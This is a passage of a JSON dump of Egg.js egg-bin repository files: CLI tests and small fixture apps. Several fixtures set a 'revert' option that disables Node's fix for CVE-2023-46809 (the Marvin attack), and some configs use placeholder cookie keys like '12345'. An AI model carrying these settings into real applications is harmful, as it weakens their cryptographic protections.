  const baseDir = getFixtures('custom-framework-app');\n    return (\n      coffee\n        .fork(eggBin, ['dev'], { cwd: baseDir })\n        // .debug()\n        .expect('stdout', /yadan start:/)\n        .expect('stdout', /\"workers\":1/)\n        .expect('stdout', /\"baseDir\":\".*?custom-framework-app\"/)\n        .expect('stdout', /\"framework\":\".*?yadan\"/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n\n  it('should startCluster with execArgv --inspect', () => {\n    return (\n      coffee\n        .fork(eggBin, ['dev', '--inspect'], { cwd })\n        // .debug()\n        .expect('stderr', /Debugger listening on ws:\\/\\/127.0.0.1:\\d+/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n\n  it('should support --require', () => {\n    const script = getFixtures('require-script.cjs');\n    return coffee\n      .fork(eggBin, ['dev', '--require', script], { cwd })\n      .debug()\n      .expect('stdout', /hey, you require me by --require/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should support --import', () => {\n    const cwd = getFixtures('demo-app-esm-dev');\n    const script = getFixtures('require-script.mjs');\n    return coffee\n      .fork(eggBin, ['dev', '--import', script], { cwd })\n      .debug()\n      .expect('stdout', /hey, you require me by --import/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should support egg.require', () => {\n    return coffee\n      .fork(eggBin, ['dev'], {\n        cwd: getFixtures('egg-require'),\n      })\n      .debug()\n      .expect('stdout', /hey, you require me by --require/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should support egg.revert', () => {\n    if (version !== 20) return;\n    mm(process.env, 'NODE_ENV', 'development');\n    return coffee\n      .fork(eggBin, ['dev'], {\n        cwd: getFixtures('egg-revert-dev'),\n      })\n      .debug()\n      .expect('stdout', /SECURITY WARNING: Reverting CVE-2023-46809: Marvin attack on PKCS#1 padding/)\n      .expect('code', 0)\n      .end();\n  });\n\n  describe.skip('obtain the port from config.*.js', () => {\n    const cwd = getFixtures('example-port');\n    it.skip('should obtain the port from config.default.js', () => {\n      const eggFramework = path.dirname(importResolve('egg/package.json'));\n      return coffee\n        .fork(eggBin, ['dev', '--framework', eggFramework], {\n          cwd,\n        })\n        .debug()\n        .expect('stdout', /\"port\":6001/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n\n  // FIXME: Error [ERR_REQUIRE_ESM]: Must use import to load ES Module: ~/egg/packages/utils/src/index.ts\n  describe.skip('work on special path', () => {\n    it('should work with space in path', () => {\n      return coffee\n        .fork(eggBin, ['dev'], {\n          cwd: getFixtures('test path with space/example-app'),\n        })\n        .debug()\n        .expect('stdout', /Hello, world!/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should support declarations with space in path', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev'], {\n            cwd: getFixtures('test path with space/example-declarations'),\n          })\n          // .debug()\n          .expect('stdout', /Hi, I am Egg TS helper!/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should support egg.require with space in path', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev'], {\n            cwd: getFixtures('test path with space/example-egg-require'),\n          })\n          // .debug()\n          .expect('stdout', /hey, you require me by --require/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should support --require with space in path', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev', '--require', getFixtures('test path with space/require script.cjs')], {\n            cwd: getFixtures('test path with space/example-require-script'),\n          })\n          // .debug()\n          .expect('stdout', /hey, you require me by --require/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should support --import with space in path', () => {\n      return (\n        coffee\n          .fork(eggBin, ['dev', '--import', getFixtures('test path with space/require script.mjs')], {\n            cwd: getFixtures('test path with space/example-import-script'),\n          })\n          // .debug()\n          .expect('stdout', /hey, you require me by --import/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/commands/test.test.ts",
    "content": "import path from 'node:path';\n\nimport { describe, it } from 'vitest';\n\nimport coffee from '../coffee.ts';\nimport { getFixtures, getRootDirname } from '../helper.ts';\n\nconst version = Number(process.version.substring(1, 3));\n\ndescribe('test/commands/test.test.ts', () => {\n  const eggBin = path.join(getRootDirname(), 'bin/run.js');\n  const cwd = getFixtures('test-files');\n\n  describe('egg-bin test', () => {\n    it('should success js', async () => {\n      console.log(eggBin, cwd);\n      await coffee\n        .fork(eggBin, ['test'], { cwd })\n        .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /b\\/b\\.test\\.js/)\n        .notExpect('stdout', /\\ba\\.js/)\n        .expect('stdout', /Tests.*passed/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should work on split test files in parallel CI jobs', async () => {\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd,\n          env: {\n            CI_NODE_INDEX: '2',\n            CI_NODE_TOTAL: '3',\n          },\n        })\n        // .debug()\n        .expect('stdout', /# Split test files in parallel CI jobs: 3\\/3, files: 1\\/4/)\n        .expect('stdout', /no-timeouts\\.test\\.js/)\n        .notExpect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /1 passed/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should success with some files', async () => {\n      await coffee\n        .fork(eggBin, ['test', 'test/a.test.js'], { cwd })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /Tests.*passed/)\n        .expect('code', 0)\n        .end();\n      await coffee\n        .fork(eggBin, ['test', 'test/a.test.js,test/ignore.test.js'], { cwd })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /ignore\\.test\\.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    // Exception during run: Error [ERR_REQUIRE_ESM]: Must use import to load ES Module: ~/egg/packages/mock/src/bootstrap.ts\n    it.skip('should work on auto require @eggjs/mock/register on CommonJS', async () => {\n      if (process.platform === 'win32') return;\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd: getFixtures('test-demo-app'),\n        })\n        .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    // FIXME: Exception during run: ../../../../../packages/mock/src/index.ts(46,9): error TS7006: Parameter 'env' implicitly has an 'any' type\n    it.skip('should work on auto require @eggjs/mock/register on ESM', async () => {\n      if (process.platform === 'win32') return;\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd: getFixtures('test-demo-app-esm'),\n        })\n        .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should success when no changed files', async () => {\n      await coffee\n        .fork(eggBin, ['test', '-c'], { cwd })\n        // .debug()\n        .expect('stdout', /No changed test files/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should fail when baseDir not exists', async () => {\n      await coffee\n        .fork(eggBin, ['test', '--base', path.join(cwd, 'not-exists')], {\n          cwd,\n        })\n        // .debug()\n        .expect('stderr', /baseDir: .+ not exists/)\n        .expect('code', 1)\n        .end();\n    });\n\n    it('should success on ts', async () => {\n      const cwd = getFixtures('example-ts-test');\n      await coffee\n        .fork(eggBin, ['test'], { cwd })\n        .debug()\n        .expect('stdout', /index\\.test\\.ts/)\n        .expect('stdout', /Tests.*passed/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should success on ts with --pool threads and cluster-client', async () => {\n      const cwd = getFixtures('example-ts-cluster-client');\n      await coffee\n        .fork(eggBin, ['test', '--pool', 'threads'], { cwd })\n        .debug()\n        .expect('stdout', /index\\.test\\.ts/)\n        .expect('stdout', /Tests.*passed/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should success with --bail', async () => {\n      await coffee\n        .fork(eggBin, ['test', '--bail'], { cwd })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /b\\/b\\.test\\.js/)\n        .notExpect('stdout', /\\ba\\.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should ignore node_modules and fixtures', async () => {\n      await coffee\n        .fork(eggBin, ['test'], { cwd: getFixtures('test-files-glob') })\n        // .debug()\n        .expect('stdout', /index\\.test\\.js/)\n        .expect('stdout', /sub\\.test\\.js/)\n        .notExpect('stdout', /no-load\\.test\\.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should only test files specified by TESTS', async () => {\n      await coffee\n        .fork(eggBin, ['test'], { cwd, env: { TESTS: 'test/a.test.js' } })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .notExpect('stdout', /b[/\\\\]b.test.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should only test files specified by TESTS with multi pattern', async () => {\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd,\n          env: { TESTS: 'test/a.test.js,test/b/b.test.js' },\n        })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /b[/\\\\]b.test.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should only test files specified by TESTS argv', async () => {\n      await coffee\n        .fork(eggBin, ['test', 'test/a.test.js'], {\n          cwd,\n          env: { TESTS: 'test/**/*.test.js' },\n        })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .notExpect('stdout', /b[/\\\\]b.test.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it.skip('should grep pattern without error', async () => {\n      await coffee\n        .fork(eggBin, ['test', 'test/a.test.js', '--grep', 'should success'], {\n          cwd,\n        })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .notExpect('stdout', /should show tmp/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should exit when not test files', async () => {\n      await coffee\n        .fork(eggBin, ['test', 'test/**/*.nth.js'], { cwd })\n        // .debug()\n        .expect('stdout', /No test files found/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should use process.env.TEST_REPORTER', async () => {\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd,\n          env: {\n            TESTS: 'test/a.test.js,test/b/b.test.js,test/ignore.test.js',\n            TEST_REPORTER: 'json',\n          },\n        })\n        // .debug()\n        .expect('stdout', /\"numTotalTestSuites\":/)\n        .expect('stdout', /\"testResults\":/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should use process.env.TEST_TIMEOUT', async () => {\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd,\n          env: {\n            TEST_TIMEOUT: '60000',\n            TESTS: 'test/a.test.js',\n          },\n        })\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should force exit', async () => {\n      // vitest handles exit automatically\n      const cwd = getFixtures('no-exit');\n      await coffee\n        .fork(eggBin, ['test'], { cwd })\n        // .debug()\n        .expect('code', 0)\n        .end();\n    });\n\n    it('run not test with dry-run option', async () => {\n      const cwd = getFixtures('mocha-test');\n      await coffee\n        .fork(eggBin, ['test', '--timeout=12345', '--dry-run'], {\n          cwd,\n          env: {\n            TESTS: 'test/foo.test.js',\n          },\n        })\n        // .debug()\n        .expect('stdout', /vitest config:/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should run test on ts-esm module', async () => {\n      const cwd = getFixtures('mocha-test-ts-esm');\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd,\n        })\n        .debug()\n        .expect('stdout', /\\.test\\.ts/)\n        .expect('stdout', /Tests.*passed/)\n        .notExpect('stderr', /ExperimentalWarning/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should success js on unhandled-rejection', async () => {\n      if (process.env.CI) return;\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd: getFixtures('test-unhandled-rejection'),\n        })\n        .debug()\n        .expect('stderr', /Unhandled Errors/)\n        .expect('stderr', /mock error/)\n        .expect('code', 1)\n        .end();\n    });\n\n    it.skip('test parallel', async () => {\n      if (process.platform === 'win32') return;\n      await coffee\n        .fork(eggBin, ['test', '--parallel'], {\n          cwd: getFixtures('test-demo-app'),\n        })\n        .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it.skip('env.MOCHA_FILE should work', async () => {\n      // MOCHA_FILE is mocha-specific, not supported in vitest\n    });\n  });\n\n  describe('run test/.setup.js|ts first', () => {\n    it('should auto require test/.setup.js', async () => {\n      await coffee\n        .fork(eggBin, ['test', '--no-typescript'], {\n          cwd: getFixtures('setup-js'),\n          env: {\n            TESTS: 'test/a.test.js',\n          },\n        })\n        // .debug()\n        .expect('stdout', /this is a before function/)\n        .expect('stdout', /hello egg/)\n        .expect('stdout', /is end!/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should auto require test/.setup.ts', async () => {\n      await coffee\n        .fork(eggBin, ['test', '--typescript'], {\n          cwd: getFixtures('setup-ts'),\n          env: {\n            TESTS: 'test/a.test.ts',\n          },\n        })\n        // .debug()\n        .expect('stdout', /this is a before function/)\n        .expect('stdout', /hello egg/)\n        .expect('stdout', /is end!/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n\n  describe('no-timeouts', () => {\n    it('should timeout', async () => {\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd,\n          env: {\n            TEST_TIMEOUT: '5000',\n            TESTS: 'test/**/no-timeouts.test.js',\n          },\n        })\n        // .debug()\n        .expect('stdout', /timeout: 5000/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should support --no-timeout', async () => {\n      await coffee\n        .fork(eggBin, ['test', '--no-timeout'], {\n          cwd,\n          env: {\n            TEST_TIMEOUT: '5000',\n            TESTS: 'test/**/no-timeouts.test.js',\n          },\n        })\n        // .debug()\n        .expect('stdout', /timeout: 0/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should no-timeout at inspect mode', async () => {\n      await coffee\n        .fork(eggBin, ['test', '--inspect'], {\n          cwd,\n          env: {\n            TESTS: 'test/**/no-timeouts.test.js',\n          },\n        })\n        // .debug()\n        .expect('stdout', /timeout: 0/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should no-timeout at WebStorm debug mode', async () => {\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd,\n          env: {\n            TESTS: 'test/**/no-timeouts.test.js',\n            JB_DEBUG_FILE: eggBin,\n          },\n        })\n        // .debug()\n        .expect('stdout', /timeout: 0/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should support egg.revert', async () => {\n      if (version !== 20) return;\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd: getFixtures('egg-revert'),\n        })\n        .debug()\n        .expect('stdout', /SECURITY WARNING: Reverting CVE-2023-46809: Marvin attack on PKCS#1 padding/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n\n  describe('work on special path', () => {\n    it('should work with space in path', async () => {\n      await coffee\n        .fork(eggBin, ['test'], {\n          cwd: getFixtures('test path with space/test-files'),\n        })\n        // .debug()\n        .expect('stdout', /Tests.*passed/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/egg-bin.test.ts",
    "content": "import path from 'node:path';\n\nimport { describe, it } from 'vitest';\n\nimport coffee from './coffee.js';\nimport { getRootDirname, getFixtures } from './helper.js';\n\ndescribe('test/egg-bin.test.ts', () => {\n  const eggBin = path.join(getRootDirname(), 'bin/run.js');\n  const cwd = getFixtures('test-files-egg-bin');\n\n  describe('global options', () => {\n    it('should show version', () => {\n      return (\n        coffee\n          .fork(eggBin, ['--version'], { cwd })\n          // .debug()\n          .expect('stdout', /\\d+\\.\\d+\\.\\d+/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should main redirect to help', () => {\n      return (\n        coffee\n          .fork(eggBin, [], { cwd })\n          // .debug()\n          .expect('stdout', /USAGE/)\n          .expect('stdout', /\\$ egg-bin \\[COMMAND]/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should show help', () => {\n      return (\n        coffee\n          .fork(eggBin, ['--help'], { cwd })\n          // .debug()\n          .expect('stdout', /USAGE/)\n          .expect('stdout', /\\$ egg-bin \\[COMMAND]/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should show egg-bin test help', () => {\n      return (\n        coffee\n          .fork(eggBin, ['test', '-h', '--base', cwd])\n          // .debug()\n          .expect('stdout', /Run the test/)\n          .expect('stdout', /--\\[no-]typescript {5}\\[default: true] use TypeScript to run the test/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should show help when command not exists', () => {\n      return (\n        coffee\n          .fork(eggBin, ['not-exists'], { cwd })\n          // .debug()\n          .expect('stderr', /command not-exists not found/)\n          .expect('code', 2)\n          .end()\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/bin/fake_mocha.js",
    "content": "#!/usr/bin/env node\n\nconsole.log('env.NODE_ENV: %s', process.env.NODE_ENV);\nconsole.log('env.AUTO_AGENT: %s', process.env.AUTO_AGENT);\nconsole.log('env.ENABLE_MOCHA_PARALLEL: %s', process.env.ENABLE_MOCHA_PARALLEL);\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/custom-framework-app/package.json",
    "content": "{\n  \"name\": \"custom-framework-app\",\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/custom-framework-app-my-egg-bin/package.json",
    "content": "{\n  \"name\": \"custom-framework-app\",\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/demo-app/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/demo-app-commonjs/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/demo-app-debug/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/demo-app-detect-port/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/demo-app-esm/hook.js",
    "content": "console.log('start hook success');\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/demo-app-esm/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"type\": \"module\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/demo-app-esm-dev/hook.js",
    "content": "console.log('start hook success');\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/demo-app-esm-dev/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"type\": \"module\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/egg-require/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\",\n    \"require\": [\n      \"../require-script.cjs\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/egg-revert/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\",\n    \"revert\": \"CVE-2023-46809\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/egg-revert/test/index.test.js",
    "content": "const assert = require('assert');\n\ndescribe('test/index.test.js', () => {\n  it('should test', () => {\n    // test\n    assert(process.execArgv.includes('--security-revert=CVE-2023-46809'));\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/egg-revert-cov/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\",\n    \"revert\": \"CVE-2023-46809\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/egg-revert-cov/test/index.test.js",
    "content": "const assert = require('assert');\n\ndescribe('test/index.test.js', () => {\n  it('should test', () => {\n    // test\n    assert(process.execArgv.includes('--security-revert=CVE-2023-46809'));\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/egg-revert-dev/package.json",
    "content": "{\n  \"name\": \"demo-app\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\",\n    \"revert\": \"CVE-2023-46809\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/egg-revert-dev/test/index.test.js",
    "content": "const assert = require('assert');\n\ndescribe('test/index.test.js', () => {\n  it('should test', () => {\n    // test\n    assert(process.execArgv.includes('--security-revert=CVE-2023-46809'));\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = 'hi, egg';\n  });\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example/config/config.default.js",
    "content": "'use strict';\n\nexports.key = '12345';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example/package.json",
    "content": "{\n  \"name\": \"example\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-declarations/app/controller/home.js",
    "content": "const { Controller } = require('egg');\n\nclass HomeController extends Controller {\n  async index() {\n    const { ctx } = this;\n    ctx.body = 'hi, egg';\n  }\n}\n\nmodule.exports = HomeController;\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-declarations/app/router.js",
    "content": "/**\n * @param {Egg.Application} app - egg application\n */\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-declarations/config/config.default.js",
    "content": "/* eslint valid-jsdoc: \"off\" */\n\n/**\n * @param {Egg.EggAppInfo} appInfo app info\n */\nmodule.exports = (appInfo) => {\n  /**\n   * built-in config\n   * @type {Egg.EggAppConfig}\n   **/\n  const config = (exports = {});\n\n  // use for cookie sign key, should change to your own and keep security\n  config.keys = appInfo.name + '_1704604037320_6202';\n\n  // add your middleware config here\n  config.middleware = [];\n\n  // add your user config here\n  const userConfig = {\n    // myAppName: 'egg',\n  };\n\n  return {\n    ...config,\n    ...userConfig,\n  };\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-declarations/config/plugin.js",
    "content": "/** @type Egg.EggPlugin */\nmodule.exports = {\n  // had enabled by egg\n  // static: {\n  //   enable: true,\n  // }\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-declarations/jsconfig.json",
    "content": "{\n  \"include\": [\"**/*\"]\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-declarations/package.json",
    "content": "{\n  \"name\": \"example-declarations\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"description\": \"\",\n  \"egg\": {\n    \"declarations\": true,\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-port/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = 'hi, egg';\n  });\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-port/app.js",
    "content": "module.exports = class Boot {\n  async serverDidReady() {\n    // Server is listening\n    process.exit(0);\n  }\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-port/config/config.default.js",
    "content": "exports.key = '12345';\n\nexports.cluster = {\n  listen: {\n    port: 6001,\n  },\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-port/package.json",
    "content": "{\n  \"name\": \"example\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/agent.js",
    "content": "export default (agent) => {\n  console.log(`agent.options.typescript = ${agent.options.typescript}`);\n  console.log(`agent.options.tscompiler = ${agent.options.tscompiler}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\n// import { Foo } from '@/module/foo';\nimport { Foo } from '../module/foo.ts';\n\nexport default class HomeController extends Controller {\n  public async index() {\n    const obj: PlainObject = {};\n    obj.text = 'hi, egg';\n    this.ctx.body = obj.text;\n  }\n\n  async foo() {\n    const instance = new Foo();\n    this.ctx.body = instance.bar();\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/app/module/foo.ts",
    "content": "export class Foo {\n  public bar() {\n    return 'bar';\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/app/module/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.router.get('/', app.controller.home.index);\n  app.router.get('/foo', app.controller.home.foo);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/app.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  console.log(`hi, egg, ${app.config.keys}`);\n  console.log(`ts env: ${process.env.EGG_TYPESCRIPT}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/config/config.default.ts",
    "content": "export default () => {\n  const config = {} as any;\n  config.keys = '123456';\n  return config;\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/package.json",
    "content": "{\n  \"name\": \"example-ts\",\n  \"type\": \"module\",\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"*\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/test/index.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { app } from '@eggjs/mock/bootstrap';\n\nimport { Foo } from '../app/module/foo.ts';\n\ndescribe('example-ts/test/index.test.ts', () => {\n  it('should work', async () => {\n    await app.ready();\n    await app.httpRequest().get('/').expect('hi, egg').expect(200);\n  });\n\n  it('should paths work', async () => {\n    await app.ready();\n    await app.httpRequest().get('/foo').expect('bar').expect(200);\n  });\n\n  it('should auto import tsconfig-paths/register', async () => {\n    const instance = new Foo();\n    assert.equal(instance.bar(), 'bar');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false,\n    \"noImplicitAny\": false,\n    \"skipLibCheck\": true,\n    \"strict\": false,\n    \"paths\": {\n      \"@/module/*\": [\"./app/module/*\"]\n    }\n  },\n  \"ts-node\": {\n    \"esm\": true,\n    \"transpileOnly\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/typings/app/controller/index.d.ts",
    "content": "// This file was auto created by egg-ts-helper\n// Do not modify this file!!!!!!!!!\n\nimport Home from '../../../app/controller/home';\n\ndeclare module 'egg' {\n  interface IController {\n    home: Home;\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/typings/global.d.ts",
    "content": "interface PlainObject extends Object {\n  [key: string]: any;\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts/typings/index.d.ts",
    "content": "import 'egg';\n\n// extend egg\ndeclare module 'egg' {\n  interface Context {}\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/app/controller/home.ts",
    "content": "'use strict';\n\nimport { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  public async index() {\n    const obj: PlainObject = {};\n    obj.text = 'hi, egg';\n    this.ctx.body = obj.text;\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/app/router.ts",
    "content": "'use strict';\n\nimport { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.router.get('/', app.controller.home.index);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/app.ts",
    "content": "'use strict';\n\nimport { Application } from 'egg';\n\nexport default (app: Application) => {\n  console.log(`hi, egg, ${app.config.keys}`);\n  console.log(`ts env: ${process.env.EGG_TYPESCRIPT}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/config/config.default.ts",
    "content": "'use strict';\n\nexport default () => {\n  const config = {} as any;\n  config.keys = '123456';\n  return config;\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/package.json",
    "content": "{\n  \"name\": \"example-ts\",\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/test/index.test.ts",
    "content": "import { scheduler } from 'node:timers/promises';\n\nimport mm, { MockOption } from '@eggjs/mock';\nimport { request } from '@eggjs/supertest';\n\ndescribe('example-ts-cluster/test/index.test.ts', () => {\n  let app: any;\n  before(async () => {\n    app = mm.cluster({\n      opt: {\n        execArgv: ['--require', 'ts-node/register'],\n      },\n    } as MockOption);\n    app.debug();\n    await app.ready();\n    await scheduler.wait(1000);\n  });\n\n  after(() => app.close());\n  it('should work', async () => {\n    const url = `http://127.0.0.1:${app.port}`;\n    console.log('request %s', url);\n    await request(url).get('/').expect('hi, egg').expect(200);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/typings/app/controller/index.d.ts",
